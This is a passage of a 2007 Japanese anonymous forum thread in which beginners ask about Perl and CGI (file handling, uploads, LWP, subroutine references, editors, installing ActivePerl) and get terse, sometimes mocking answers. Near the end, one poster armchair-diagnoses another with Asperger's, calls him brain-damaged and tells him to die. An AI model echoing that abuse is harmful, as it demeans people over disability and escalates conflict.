「うちのアタリ確率は、もちろん他と同じ『○○○分の1』ですよ!(ロムいじってるからウソだけど)」
※3 市場規模 遊戯人口
平成06年 30兆4,780億円 2,930万人
平成08年 30兆0,630億円 2,760万人
平成10年 28兆0,570億円 1,980万人
平成12年 28兆6,970億円 2,020万人
平成14年 29兆2,250億円 2,170万人
平成16年 29兆4,860億円 1,790万人
115:nobodyさん
07/04/24 12:15:29
perlでそれなりに大きなCGIを作ることになったのですが
いろいろな関数をまとめた物を作るときに
それらを単純にまとめただけの外部plファイルを
requireして使いまわすよりも、パッケージ化や
モジュール化して使ったほうが良いと
聞いたのですが、何故でしょうか
116:nobodyさん
07/04/24 14:22:11
パッケージ化することによって、関数(メソッド)や変数(属性)の名前衝突を避けることができ、
モジュールをつかいまわす場合に有効。
117:nobodyさん
07/04/24 14:37:40 RJoF4cmJ
Windowsマシンで、Apache + ActivePerlを使用して、ローカルでPerlの勉強をしているんですが、
Perlのコードにエラーがあると、
use Strict; を記述しても、500 Internal Server Errorになってしまいます。
(どういうエラーが出たか教えてくれない)
エラーを表示させるにはどうしたらいいんでしょうか。
各バージョンは、
Perl v5.8.8
Apache 2.0.59
です。
118:nobodyさん
07/04/24 17:10:54
>>116
なるほど。変数名の衝突を気にしなくてもいいのは便利ですね
これからパッケージの勉強からしてみます
ありがとうございました
119:nobodyさん
07/04/24 17:23:24
>>117
スクリプトの頭に
BEGIN {print "Content-Type: text/plain\n\n"; $| = 1; open(STDERR, '>&STDOUT')}
とでも書いとけ
120:nobodyさん
07/04/25 02:24:17 lSJlnLTR
>>117
モジュールつかっとけ
use CGI::Carp qw(fatalsToBrowser);
URLリンク(perldoc.jp)
121:nobodyさん
07/04/25 20:53:26
[ディレクトリ構成]
xxx/
index.html
data/
post.dat
cgi-bin/
xxx/
post.cgi
と置いてあります。このとき
#!C:/Perl/bin/perl
open(OUT,">> ../../xxx/data/post.dat");
print OUT "$FORM{'posturl'}\n";
close(OUT);
と post.cgi に記述してみたのですが、うまく
post.dat のほうに $FORM{'posturl'} の内容が書き込めていないようでした。
パスの設定ミスだとは思うのですが…
環境は,windows xp sp2 上 でApache/2.0.45 を使用しております。
どうぞよろしくお願い致します m(__)m
122:nobodyさん
07/04/25 22:02:43
それだけじゃさっぱり
123:nobodyさん
07/04/25 22:56:34
自己解決スマソ。
open(OUT,">> ../../htdocs/xxx/data/post.dat");
とすれば良かったみたいです。
htdocs/
- xxx/index.html
- xxx/data/post.dat
cgi-bin/xxx/post.cgi
webプログラムってプログラム以外の部分がややこしい…
124:nobodyさん
07/04/26 16:20:32 Xsmaee58
■ Perl言語 ■ 何でも質問コーナー ■
URLリンク(mixi.jp)
Perlに関すること、cgiに関すること
なんでも質問できるコーナーです(たとえばApacheとかでもOKとします!)
(Web系であればOK)
ルール:
Google検索で調べてわかるようなことでも質問してもOKです
(初心者のうちは、どの情報を取捨選択したらイイのかわからないと思うので)
回答してくださるかたは、暖かく質問者を迎えてやってください
o(^^o) (o^^)o
125:nobodyさん
07/05/01 16:23:34
PerlでファイルアップロードCGIを作ろうとしています。
「1. ファイルを選ぶ 2. 確認画面 3. 送信完了」と動作させようとして
躓きました。2. 確認画面を表示しない場合はうまくいくのですが、
確認画面を間に挟むと空のファイルがアップロードされてしまいます。
1 から直接 3 にいくプログラムは次のように組んであります。
1. CGI.pmを使ってfilefield('file');でファイル選択させる。
3. $fh = upload('file'); でファイルの情報を得て、
while(read...){print...} でファイルを書き込む。
2 をはさむときは、param('fh', $fh); print hidden('fh');
として情報を保存しました。
たぶん、上の方法では必要な情報を保存しきれていないのだと
思うのですが、どうすればよいかわかりません。よろしくお願いします。
126:nobodyさん
07/05/03 02:37:57
無理
127:初心スレ861(481)
07/05/25 22:03:25 1LPPhSSe
質問です
if(a=1){
if(b=1){
print "○○○"
}
}
というようにIFの中でIFは可能ですか?
128:nobodyさん
07/05/25 22:17:31
歴史にIFなど無いのだよ
129:nobodyさん
07/05/25 23:10:03
>>127
なぜ不可能だと思うんですか?
130:nobodyさん
07/05/25 23:29:35
>>129
うごいていたプログラムのIFの中にIF入れたら壊れたからです
何か他にげんいんがあるのかお
131:nobodyさん
07/05/25 23:47:26
お前のプログラム知識だよ
132:nobodyさん
07/05/26 05:47:48
if(a=1)
なんか懐かしいなw
こういうの見たの15年ぶりだよ。
133:nobodyさん
07/05/26 23:39:33
perl 関連スレッドに機会があったらいつか書こうと思って
たんだが、機会が無いのでここに独り言として書く。
[初心者のための perldoc ]
perldoc は、本を開かなくともいつでも開くことが出来る手軽なリファレンスだ。
ターミナルで「perldoc perl」と打ち込むだけで概要が出てくる。SYNOPSIS に
リストがつらつら書かれているがそれぞれ perldoc で呼び出すことができる
1. とりあえず基礎の基礎を読んでみたいなら「perldoc perlintro」
( for, while, if などもここを最初に )
array of array などなら「perldoc perllol」
正規表現なら、「perldoc perlre」
スイッチ(所謂コマンドラインオプション)なら「perldoc perlrun」
etc...
これらの文章中 see perlxxxx.... と書かれていたら素直に
「perldoc perlxxxx」すればよい。
2. 個々の関数について調べたいなら
「perldoc -f reverse」
などと f オプションを付けて実行する。
3. 取り敢えず、なんか判らんって時。例えば「配列」
「perldoc -q array」
faq の中から array を含む文章拾ってくれる。但し question のみ。
4. 個々の説明文 pod にアクセスしたい時
「perldoc Tie::File」
「perldoc strict」
5. 「perldoc -h」すれば、perldoc の使い方の説明が出てくる。
perldoc の中身には例文も出てくるので、英語が判らんでも 2ch に
相談するまえに見てみることをお勧めする。
どーしても、という方には web 上にはそれなりに翻訳された perldoc が
あるのでターミナルで「perldoc perl」でリストの中から目星を付け、
そのファイル名で検索するのも良い。
(但し最新版ではない事がほとんどなので注意が必要)
134:nobodyさん
07/05/29 00:59:04 +KVPsKMz
質問です。
#!/usr/bin/perl
open (IN,"< http://あqwせdrftgyふじこ/test.dat") ;
@LINES = <IN>;
close(IN);
print "Content-type: text/html\n\n";
print "<html><head></head><body>";
foreach(@LINES){
print $_ . "\n";
}
print "</body></html>";
}
こんな感じでhttpから始まるURLをうって
ファイルを開いて処理したいんですがどうやら読めないっぽいです。
open (IN,"test.dat") ;
に変えると動いてくれるのですが、、、
仕様上不可能なんでしょうか?
135:nobodyさん
07/05/29 01:19:04
>>134
allow_url_fopen が効いてる PHP みたいな、裏でどうにかしてくれる仕掛けはありません。
LWP使えば外部のファイル自体は取得できるけど。
136:nobodyさん
07/05/29 02:04:54 +KVPsKMz
>>135
こんな時間にレスあり ><
use LWP::Simple;
$a = get("http://くぁwせdrfgyふじこ/test.dat");
で取得できました。ありがとうございました。
これで気持ちよく眠れます。
137:nobodyさん
07/06/03 00:26:01
久しぶりにperlでcgi作ろうかと思うんだけど、今はutf8で書くのが一般意的?
138:nobodyさん
07/06/03 13:53:14
なんでもおk
139:nobodyさん
07/06/05 13:52:29
ブラウザで操作をして
自サーバ内のファイルを別サーバへコピーしたいんですが(セキュアFTPサーバ)
Net::FTP
を使って、セキュアなFTPサーバへ接続は出来ますか?
もしくは、可能な別モジュールってありますか?
140:nobodyさん
07/06/07 14:40:32 TOlQmlY8
すいません。
定期的にフォーム部品の個数が変わるフォームで、
1コでも未記入があった場合にエラーが出したいんです。
radio1
radio2
radio3
textarea1
textarea2
radio4
・
・
・
その時によって、フォーム部品の数が増えたり減ったりします。
汎用的に未記入があった時にエラーを返すにはどうしたらいいでしょう?
141:nobodyさん
07/06/07 15:58:44
フォームにフィールド一覧をhiddenで入れておくとか
142:nobodyさん
07/06/07 16:38:40
それはだめだろw
143:nobodyさん
07/06/07 17:31:11
エンティティボディに=&か=$があったら落とせばいい
144:nobodyさん
07/06/07 17:33:24
それでは駄目
仕様上は未入力のフィールドは送信しなくてもいいことになってるんで
145:nobodyさん
07/06/07 17:51:47
そんな細やかなもんなら全部やるしか無いでしょ
どのみちレングスや内容を全部調べるんだろうし
146:nobodyさん
07/06/08 11:15:29
>>144
inputがあるのに未入力を検出したいってんなら>>143で問題ないと思うのだが。
>仕様上は未入力のフィールドは送信しなくてもいいことになってるんで
って何の仕様の話?
147:nobodyさん
07/06/08 12:03:20
>>146
HTML 4.01
148:140
07/06/08 13:54:24 i/tb2omn
144は私ではないです。
みなさんありがとうございます。
>143さんの方法が良さそうですね。
ところで、エンティティボディって何の事でしょう・・・・?
すいません、ぐぐってみます;
149:nobodyさん
07/06/08 17:32:56 rRYhakqE
お世話になっております。
今現在Perlを使用したCGIを作成していて困った事があるので相談させていただきます。
HTML側が
----------------
<form method="POST" ENCTYPE="multipart/form-data" action="edit_completion.cgi">
<input type="file" name="TENSOU">
:
----------------
としていて受け取るCGI側を
----------------
:
my $cgi = new CGI;
my $image = $cgi->param('TENSOU');
my $file_name="./test.jpg";
my $buffer;
open(OUT, ">$file_name") or die(qq(Can't open "$file_name".));
binmode OUT;
while (read($image, $buffer, 1024)) {
print OUT $buffer;
}
close OUT;
:
----------------
としているのですがうまく受け取れません、、、
上記perlは昔自分が書いたものを参考にしたのですが
ナニを参考にしたのか覚えていません。
どこか使用方法が載っているURL等お教えいただけないでしょうか?
150:nobodyさん
07/06/09 13:37:43
URLリンク(www.harukaze.net)
ここを参考にしたら?
151:nobodyさん
07/06/10 18:01:18
Perlを勉強し始めて一ヶ月ぐらいかな・・・
仕事の傍らちょこちょこやってて
今「続・初めてのPerl」のオブジェクト指向とかリファレンスのトコ
そこ入ったらいきなりクラスとかメソッドとか初出の単語が連発してきてかなり混乱
なかなか頭に入ってこなくて泣きそう(つωと)
152:nobodyさん
07/06/10 20:07:23
>>151
「続・初めて」
は題名に反して、「リャマ、ラクダ、CookBook、Best Practice、etc.」を
読んだ後に読む本だぞ。
153:nobodyさん
07/06/11 00:16:13
>>152
レスありがとうございます
う、そうなんですか・・・もっと吟味すればよかった(・ω・`)
リャマは読み終わりましたのでラクダ本検討してみます
しかし高い・・・
後、やっぱりUnix環境整えた方がいいですよね
今までWindowsのみでやってきたので、Unixの事はチンプンカンプンですけど
WindowsみたいにOSのパッケージを買えばいいのかな・・・調べてみようと思います
ありがとうございました
154:nobodyさん
07/06/11 01:57:28
ム板「質問箱 30」の704 からの流れも参考にしとけ。
後半は、マカーなので分らんw
が、Windows だけで完結してそうな人も多いし、Cygwin
辺りで慣れるだけじゃダメなのかなあ。
もちろん業務とかが絡む人は別だけど。
155:nobodyさん
07/06/11 02:16:08
「原題」ってなんだったっけ、ってサイトに行ってみたら
URLリンク(www.oreilly.co.jp)
絶版になったのか、、、
156:nobodyさん
07/06/11 23:50:11 kL3eCwRQ
Perl初心者です。
スクリプトの文法チェックをしたいのですがどなたかいいツール知りませんか?
検索してみたのですがなかなかいいのが見つからなくて。
157:nobodyさん
07/06/12 02:23:49
文法チェックなら perl -c でやりゃいいじゃん。
もう少し厳しくみるなら perl -wc
perldoc perlrun くらいはしといてくれ。
158:nobodyさん
07/06/12 12:32:30 0KbPnFiH
>>157
ありがとう、早速試してみます。
159:nobodyさん
07/06/12 12:43:31
>>157
ここは超初心者用だ
お前のような排他的な奴は出て行け
160:nobodyさん
07/06/12 14:08:36
>>159
排他って言葉の意味わかってるのか?
161:nobodyさん
07/06/12 16:16:31 0KbPnFiH
ついでにおすすめのエディタもお聞きしたいのですが?
162:nobodyさん
07/06/12 16:55:27
>>161
windows?
秀丸とかEmEditor、金出したくなければ
xyzzyあたり。
163:nobodyさん
07/06/12 17:19:53 0KbPnFiH
>>162
windowsです。
普段は秀丸を利用しています。
秀丸はHTMLは書きやすいのですがPerlは微妙です。
Perlに特化した感じのエディタがないかいろいろ検索中ですがなかなかいいのが見つからなくて。
164:nobodyさん
07/06/12 18:56:13
xyzzyとか、unixで主に使われるエディタなら
perl用のモードがあるよ
Emacsとかvimとか。
windows用もあるけど、初心者お断り的な
ところがあるから、慣れるまでは
大変かも。
希望の機能とかはあるの?
165:nobodyさん
07/06/12 21:45:38 0KbPnFiH
>>164
やっぱ色分けはわかりやすいほうがいいですね。
秀丸はヒアドキュメントの部分がわかりづらくて。
あとは文法チェックやプレビュー機能なんかがあればうれしいですね。
開発環境にこだわるのはある程度知識身につけてからのほうがいいのでしょうか…
なんせまだPerl勉強して1ヶ月もたってないもので…
166:nobodyさん
07/06/12 23:26:18
PerlEditor ただしUTF-8非対応
Eclipse + PerlPlugin
167:nobodyさん
07/06/12 23:37:16
>>165
つーかまずコード書こうや
道具選びはそれからでも遅くない
168:nobodyさん
07/06/13 02:12:53
>>165
最初はそんなにでかいコード書くこともないだろうから、
それこそメモ帳でなきゃ適当なエディタでいいと思うけどね。
とりあえずこいつは構文チェックをしてくれるらしい
URLリンク(activestate.com)
体験版はあるみたいだけど基本的に金だして買わなきゃいけないし、
ドキュメントは英語だけ。
ところでプレビュー機能ってなに? CGIでも作るの?
169:nobodyさん
07/06/13 12:39:29 Ij6cMTyX
とりあえずエディタはこれかPerlEditor落ち着こうと思います。
URLリンク(www.forest.impress.co.jp)
PerlはCGI作るために勉強しはじめました。
とりあえず10日で覚えるPerl/CGIという入門書を読んで勉強中です。
170:nobodyさん
07/06/13 18:17:02
私は一晩で学ぶSQLを買いました。最終的に3年かかりました。
171:nobodyさん
07/06/14 13:02:46
ワロタ
172:nobodyさん
07/06/14 19:02:31 MrJTWOJA
CGIで質問フォームを作ってそれが完了したと同時にメールが送られるようにしてるんだけど、
一定文字数を越えると文字化けしてしまう。。
誰かこの文字化けが何系の文字コードか分かる方います??
$"$($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($3$3$G2~9T$*$*$*$*$*$*$*$*$*$*$*$*$
173:nobodyさん
07/06/14 19:21:03
別スレに書き込みますすいません。
174:nobodyさん
07/06/15 18:43:38 3CYhNC9F
Perlを勉強するうえで読んでおいたほうがいい書籍ってなんですか?
175:nobodyさん
07/06/15 19:41:34
>>174
1. ああっ女神さまっ 1~34巻
2. 逮捕しちゃうぞ 文庫版1~4巻
3. 大人のCGIスクリプト
176:nobodyさん
07/06/15 20:12:22
女神はクソアニメだろ…
177:nobodyさん
07/06/15 20:55:45
銀英伝全巻(余裕があるなら、アニメ版全巻も)
178:nobodyさん
07/06/15 21:51:09
それが僕には楽しかったから(小学館プロダクション)
ニーチェ入門 (筑摩書房)
本当の潜水艦の戦い方 (光人社)
179:nobodyさん
07/06/15 22:38:03 3CYhNC9F
まじめに教えてくださいよ
180:nobodyさん
07/06/15 22:48:57
あいまい3cm
181:nobodyさん
07/06/15 22:51:37
答えていますとも。
>SF を読むこと。
>だじゃれや言葉あそびへの理解を深めること。
>母国語できちんと文が書けるようになること。
>多くのハッカーは「おたく」というレッテルを受け入れています。
>それは自分が普通の社会的期待から自由だと宣言する方法の一つなのです。
URLリンク(cruel.org)
182:nobodyさん
07/06/16 21:27:44 0wRsaGP2
Perl勉強しただけでハッカーになれるんですか?
183:nobodyさん
07/06/17 08:54:43
perlしか知らなくてもハッカーになれるヤツはなるし
全言語覚えてもハッカーになれないヤツはなれない
要は応用力の問題
184:nobodyさん
07/06/20 21:35:54
よろしければご教示願います。
PerlのCGIからEXEを叩くだけのSYSTEM関数を呼ぼうとしているのですが
処理自体はバックグラウンドでやらせて、制御は画面に戻したいので
「res = SYSTEM(1, @args)」で実行しようとすると、-1が戻されてしまいます。
「res = SYSTEM(@args)」でやれば問題なく動くのですが…
第一引数に1を設定した場合は実行不可になる、といったような
事例はあるのでしょうか?
(検索キー「SYSTEM」では該当が多すぎて…)
185:nobodyさん
07/06/20 22:20:47
>>184
つかそもそもsystem関数の使い方わかってないだろ
「perl system」でググるくらいの検索能力は身につけようぜ兄弟
186:nobodyさん
07/06/20 22:35:16
win 用の特別な記法があるのかと思ってググりまくった俺、マカー。orz...
187:nobodyさん
07/06/20 23:12:17
>>185
いやあの・・・すいません。
「@args」と書いてあるところが、叩かせようとしているEXEの
引数つきコマンドラインです。
system関数の記事ならいくつもHITしますが、第一引数に1をセット
しての使い方についての記述はほとんどなかったので…
(この書き方自体がwin専用らしいですが)
188:nobodyさん
07/06/21 00:30:05
>>187
最初に「Windows+ActivePerlの環境です」とかくらいは書いた方が良いと思うんだ。
@argsの内容とかも。argsなんて名前の配列にコマンドまで入ってるなんてあまり想像しない。
で、たぶん-1返してるのは@argsの中のプログラム側だからそっちを調べないと無理かも。
189:nobodyさん
07/06/26 18:01:07 pgSc3qoH
perl、cgiを独学で勉強しているが理解できない;;
10日で覚える~の本を参考書にしてるけど10日じゃ理解できないYO・・
学習能力ねぇから難しいなぁw
190:nobodyさん
07/06/26 23:19:15
この手のは学習能力というより意欲の問題。
若干相性はあるがね。
191:nobodyさん
07/06/26 23:32:33
人間必要に駆られないと覚えないから。
1. 何を作りたいか決める
2. とにかく作り始める
3. 詰まったら実現方法を参考書で調べる
4. 2に戻る
あとメモを取った方が効率が上がる。特殊変数全部メモるとか。
それさえあれば何時でも何処でも(少なくとも自分だけは)必ず何でも書けるメモを作る。
192:nobodyさん
07/06/26 23:38:09
「10日で覚える~」を買って本当に10日で習得したって話は聞かないから
>>189はあんまり気にしなくていいよ。
>>191
必要に駆られると覚えるの早いよなあ。納期とか。
193:189
07/06/27 11:43:36 qSRVuZRU
関数が覚えられないからメモをしっかりとってやってみます^^;
ゲームとか掲示板を思い通りに作りたいのでまずは基礎からって
感じだと思ったので、とにかく習うより慣れるかな~
194:189
07/06/28 17:14:56 /27P2PeN
質問なんですがよろしくです
#! c:/perl/bin/perl
open(IN, "+<./count.dat");
$count = <IN>;
++$count;
seek(IN,0,0);
print IN $count;
close(IN);
こんなアクセスカウンターがあったとして./count.datの中に
12が書き込まれていたら次にアクセスしたら13になりますよね?
seek関数でファイルの先頭に持ってきているのはわかるんだけど
先頭にそのまま持ってきたら1312にならない理由を教えてほしいっす><
195:nobodyさん
07/06/28 17:44:35
ファイルにはインサートモードは無い
196:189
07/06/28 17:53:34 /27P2PeN
インサートモードって何ですか?
seek(IN,0,0);
の、部分だけ消してアクセスすると1213になるけど
seek(IN,0,0);
が、あることにより上書きになるの?
197:nobodyさん
07/06/28 17:58:37
常に上書きだ
書き込みポイント(シーク位置)が読んだことにより後ろになってるだけ
末尾で上書きすれば追加と同じだろう
メモリでも挿入ってのは、データを後ろにずらしてから上書きしてるんだよ。
198:189
07/06/28 18:16:42 /27P2PeN
???(´・ω・`)
seek(IN,0,0); は、
常に上書きって覚えとけば問題ないのかな?
ありがとうございますです。
199:nobodyさん
07/06/28 18:26:31
あーもういいやそれで
200:nobodyさん
07/06/30 14:41:50 zANvV/vQ
こういう範囲指定を → 4.43.96.0/24
このように変換 → 4.43.96.0-4.43.96.255
したいのですが、良い方法を教えてください。
201:nobodyさん
07/06/30 15:21:36
拡大解釈して、「あるIPアドレスがあるネットマスク内にあるか否か」
ってスクリプトなら。
my $netmask = q{4.43.96.0/24} ;
my $ip = q{4.43.96.0} ; # <= ここにテストするIPアドレスをセット
my ( $org_ip, $byte ) = split m{/}, $netmask ;
my $packed_one = unpack qq{B$byte}, pack 'C4', split ( /\./, $ip ) ;
my $packed_two = unpack qq{B$byte}, pack 'C4', split ( /\./, $org_ip ) ;
if ( $packed_one eq $packed_two ){ print q{in} . qq{\n} ; }
こんな感じ?と素人が答えてみるテスト。
202:nobodyさん
07/06/30 15:54:22
>>201
正直Perlは良く分からないのですが、コピペして結果がでました。
どうもありがとうございます。ペコリ
203:質問
07/06/30 16:27:58 6uCjWfRX
配列の値をリファレンスを使って、サブルーチンへ渡す方法についての質問です。
下記のような簡単な物を作って、配列のリファレンスがサブルーチン側へ渡されていることは
わかりました。($alldata_refと$getdata_refが同じ)
が、サブルーチンを使っての配列の値の参照がなぜかできません。
いろんなサイトをみても問題はないようですが、わかる方教えてください。
@alldata=(1,2,3,4,5);
$alldata_ref=\@alldata;
print "$alldata_ref\n";
foreach (@$alldata_ref){
print "$_";
}
print "\n";
&COUNT8(\@alldata);
sub COUNT8{
my $getdata_ref="@_";
print "$getdata_ref\n";
foreach (@$getdata_ref){
print "$_";
}
print "\n";
204:nobodyさん
07/06/30 16:43:21
my $getdata_ref=shift;
205:203
07/06/30 16:46:10
うほっ。
よくわかりませんが、できました。
ちょっとshift勉強しに公園のトイレ前に行きます。
206:nobodyさん
07/06/30 16:53:48
便乗で質問させてください
>>203って、サブルーチンの中で引数を取得する時に
ダブルクォーテーションで囲った事が原因ですよね?
207:nobodyさん
07/06/30 17:11:28
printで表示される物と、内部的な扱いは違う。
ついでに、ダブルクオートしなかったら要素数が返るだけと思う。
shift@_なり、$_[0]なりで、ちゃんとリファレンスを取得することが大事。
208:nobodyさん
07/06/30 20:16:18
ついでに、ダブルクオートしなかったら、COUNT8に渡された
リスト(アレイリファレンス1個のリスト)がスカラーコンテ
キストで評価されて結果は1。
209:nobodyさん
07/07/01 06:34:28
my($getdata_ref)=@_;
が推奨されています。
当たり前ですが複数なら以下です。
my($abc,$def,$ghi)=@_;
またPerlでは@arrayの評価は左辺値で決まるので、ダブルクオートしなければ
必ず要素数が返ると信じるのは誤動作の元です。
$#array+1を使うか、scalar(@array)と明示する方法がオススメです。
さらにfor文をこのように書く人が大勢居ますが、
for(,my $i=0; $i<@array; $i++)
非常に遅いので予め@arrayの要素数をスカラーに移して使いましょう。
210:nobodyさん
07/07/03 16:41:35 Fn19fg5B
>>209
板違い。
Perl板でやれ。
211:nobodyさん
07/07/03 19:22:53
perl板って何処にあるんだよ。
212:nobodyさん
07/07/04 09:06:32
URLリンク(pc11.2ch.net)
213:nobodyさん
07/07/07 14:31:13 MhnKrAyD
ActivePerlでPerl始めたんだけど、エクセルのデータかCSVから
それぞれの行、列から数値を取り出したいんですけど、
どこかに良いサンプルか参考になるサイトはないですか?
214:nobodyさん
07/07/07 14:50:58
>>213
ここはwebprog板なのでキミの質問は板違いである。
215:nobodyさん
07/07/08 06:04:57
べつに板は違わないけど
Perl CSVやPerl Excelで検索すりゃ一瞬で出るものを書かれると何かが減退する
216:213
07/07/09 22:38:35 6iXDsaKo
Webで検索しても分らないから質問したんですが・・・orz
217:nobodyさん
07/07/10 10:55:28
減退しようぜ
218:nobodyさん
07/07/10 11:13:10
まああるていどやって、ここがわからないという質問だと答える気にもなるけど
お前らの答えは信用ならんから、サンプルやサイトを教えてくれと言われたら
こたえる気はなくすわな
219:nobodyさん
07/07/10 11:49:08
「IBMの言う通りにしたけど出来なかった(゚Д゚)」
と言われたなら、へー出来ないんだーという情報価値も少しある。
出来たらぶっ飛ばすけどね。
今ちょっと見たらOffice2000がどのライブラリも対応してる感じだけど、
バージョンの説明も無いし、なんで検索のお手伝いをしないといけないんだって。
220:nobodyさん
07/07/10 13:28:27
>>216
Google 使って「Perl CSV」で検索すると、先頭に出てくるのだが。
一体、何がどう分からないのかな?
221:nobodyさん
07/07/10 18:20:33
Mac OS X(10.3.9)を使ってるんですが、perlが5.8.1です。
アップグレードってどうやるんですか?5.8.6にしたいんですが(参考にしてる本が5.8.6だから)
222:nobodyさん
07/07/11 09:43:51
>>216
ほれ。チョーわかりやすいサンプルを書いてやったぜ。
#! /usr/bin/env perl
$csv = <<"_CSV_";
activePerlで,Perl,始めたんだけど、,エクセルの,データか,CSVから,
それぞれの,行、列から,数値を,取り出したいんですけど、,
どこかに,良いサンプルか,参考になる,サイトは,ないですか?
_CSV_
grep{push(@d2a,[split(/,/)])}split(/\r?\n/,$csv); # 格納
for(@d2a){print for(@$_);print "\n";} # 表示
223:nobodyさん
07/07/11 09:47:22
>>221
5.8.6をインストールすればいい
224:nobodyさん
07/07/11 15:56:08 FWgAFc3u
質問です。おながいします
sub printPage
{
my $begin = $FORM{'page'} * $PAGEVIEW;
my $end = $begin + $PAGEVIEW;
if($end > @DATA) {
$end = @DATA;
}
本を見ながら掲示板を作っているんだけど、my $begin やmy $end が
@DATAの添え字になっているって本に書いてあるんだけど@DATAの添え字なら
$DATE[$begin]とかってってならなくてmy $begin やmy $endで添え字になって
いる理由がわかりません。
わかる方おながいします。
225:224
07/07/11 16:09:46 FWgAFc3u
すまんかった。スルーしてくれ
226:nobodyさん
07/07/11 19:57:17
>>222
Excelの吐くCSVはそれだけじゃダメだよ…
227:213
07/07/12 08:33:10
CSVの1行目に
A,B,C,D,E,とあるとするとそれを
①=A
②=B
③=C
…
と格納して
print ③
print ②
print ⑤
みたいなことがしたいんですが。。。。
この処理が終わると2行目へ・・・と言った感じで。
228:nobodyさん
07/07/12 14:01:39
(:.;゚;Д;゚;.:)y-~
229:nobodyさん
07/07/13 15:37:18 jk1vnwXj
超初心者質問です。おながいします。
#! c:/perl/bin/perl
print "Content-type: text/html\n\n";
print "Hello Perl !";
と、CGIに書いて本には
Content-type: text/html
Hello Perl !
と、出力すると書いてあるのですがやってみると、
Hello Perl !
しか出力しません。なぜでしょうか??
AN HTTPD ってのを使ってます。
230:nobodyさん
07/07/13 15:49:26
>>229
ブラウザ何使ってる?
wgetとかコマンドラインのやつ使ってなけりゃ
Firefox入れてLive Http headers アドインを入れてみるのを薦める
231:nobodyさん
07/07/13 15:52:21
>>229
本の出力例+説明はコマンドラインから走らせたときを想定してると思う。
CGIとして叩いた場合でなくて。
232:229
07/07/13 16:27:58 jk1vnwXj
230,231さん、ありがとう。
いろいろ調べてたらCGIヘッダーはWebサーバーからWeb
ブラウザに送信される過程で使われるだけだからブラウザに表示
されるのは「Hello Perl ! 」だけ、とのことみたいなのでなんとなく
解決しました☆
Windows XP使ってますがAN HTTPDではPerl勉強するのに不足でしょうか?
230さんの「Firefox入れてLive Http headers アドインを入れてみるのを薦める 」
を、やったほうがいいでしょうか?
233:nobodyさん
07/07/13 17:33:57
Firefoxはブラウザだ。サーバ(httpd)はなんでもいいよ
234:229
07/07/13 19:08:30 jk1vnwXj
ユーザーエージェントが
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
なので、Firefoxですか?
235:nobodyさん
07/07/13 19:18:19
流石くだ質…レベルが低すぎるってレベルじゃねえぞ
236:nobodyさん
07/07/13 21:48:51
>>234
思いっきりIE6って書かれてるじゃまいか・・・
>>235
スレタイ嫁
答えたくないんなら、スレ読むな
237:nobodyさん
07/07/13 22:29:23
何故貴方に感想を書くことを
制限されなければならないのですか?
ここはあなたの掲示板なのですか?
スレッドに帰属意識でも持ってるお馬鹿さんですか?
238:nobodyさん
07/07/13 22:34:44
>>236
最近はMSIEって書いてあっても信用できない事が(Opera等)あるからキヲツケロ。
239:nobodyさん
07/07/14 00:18:15
>>237
スレ汚しが趣味ですか?
240:nobodyさん
07/07/14 07:16:10
はい
241:nobodyさん
07/07/14 07:46:14
>>240
NGフィルタかけたいから、コテなりトリなりつけてくれ。
242:獅子王
07/07/15 18:51:36 EW+ZDItZ
スイマセンが及ばずながら僕もPerlを使いたいと志すものです。
他のところではちょっと僕の質問の仕方が無礼だったようなのでここで質問させてください。
実はつい先日perlをダウンロードするために配布サイトまで行ったのですが
英語尽くしで何がなんだかわかりません。どうも僕にperlのダウンロード
の仕方を教えていただけませんでしょうか?長々とスイマセン。
243:nobodyさん
07/07/15 19:59:41
URLリンク(www.activestate.com)
ActivePerlのGet Current Release→Download→continue→Windows (x86) MSI
244:nobodyさん
07/07/15 20:40:29
Windowsと決め付けるところがさすがに超初心者スレッド。
245:nobodyさん
07/07/15 21:09:48
1. UNIX/Linuxはバージョンはともかくプリインストールの筈である
2. 習慣としてMacならMacと断りを入れる
3. 傾向としてWindowsユーザだけがこのような質問をする
というわけで>244はアスペルガー症候群という自閉症だと思われる。
URLリンク(www.autism.jp)
>子どもでも大人でも社会生活には暗黙のルールがあります。暗黙のルールがわからないために
>他の子どもから嫌われたりいじめられるアスペルガー症候群の子どもが多いのです。
>その場で何が話題になっているか、言外の意味を汲み取ることが苦手なのでどうとでもとれる
>曖昧な質問には答えることが難しいのです。問いかけはなるべく具体的にする必要があります。
246:nobodyさん
07/07/15 23:00:57
>>245
後半は余計だ。荒れる素だからヤメレ。
247:nobodyさん
07/07/16 13:22:38
>>245
1以外は妄想だな。
なんていったけ、見下されると我慢できなくて攻撃態勢に入る精神疾患。
248:nobodyさん
07/07/16 13:46:04
>>247
ホントばかだなオマエは。
その1以外のために「暗黙のルール」や「言外の意味」に関する見解を示したんだよ。
1だけならたしかに後半は余計だった。
249:nobodyさん
07/07/16 13:57:35
だいたいリンクを踏んで行けば最後に一通りOS名が表示されることも知らないから
>>244のような発言が出るのだろうし、もし>>243で
「OSぐらい書け」
と言っていたら、ギャラリーの八割が
「Windowsに決まってるだろ」
と思うわけ。そういう当たり前の常識がオマエには無いんだよ。なぜなら脳に障害があるから。
>>244の脳に障害があることを前提に、極めてわかりやすく、リンクに要点の引用まで付けて
"暗黙のルール" の具体例を示したのに、それでも結局
「1以外は妄想だな。 」
と来る。妄想じゃなくて、暗黙の了解なんだよね。
要するにバカには言葉が通じないので、バカが死ねと言い続けるしか無いんだな。
250:nobodyさん
07/07/16 14:15:09
なんか今訊いたらOSXもPerlはプリインストールらしいじゃん。
初期でPerlが入っていない主要OSはWindowsのみ。>>244みたいな筋金入りのバカは
「Linuxでもカスタムインストールなら」
と言うかもしれないが、Linuxでは主要なアプリケーションでPerlが使われており、Perlは
対象から外せないか、外したつもりでも他のAPの依存関係で結局インストールされる。
試しにLinuxでPerl消してみろよ。yumもaptも動かなくなるから。
なんでこんなバカが人前で発言する気になるんだろう。
251:nobodyさん
07/07/16 17:32:45 Pd2envQf
どっちも酷いな
252:nobodyさん
07/07/16 18:05:34
>>248-250
後付けで何とか体面を整えようと必死杉。笑う。
これを裏付けるデータあるかね。お前さんの脳内以外に。
> 2. 習慣としてMacならMacと断りを入れる
> 3. 傾向としてWindowsユーザだけがこのような質問をする
253:nobodyさん
07/07/16 18:50:59
FreeBSD使いに喧嘩を売ったと見なす
254:246
07/07/17 01:15:15
>>248
あーあ、結局荒れるのか。いいかげんモチツケ。
>>247
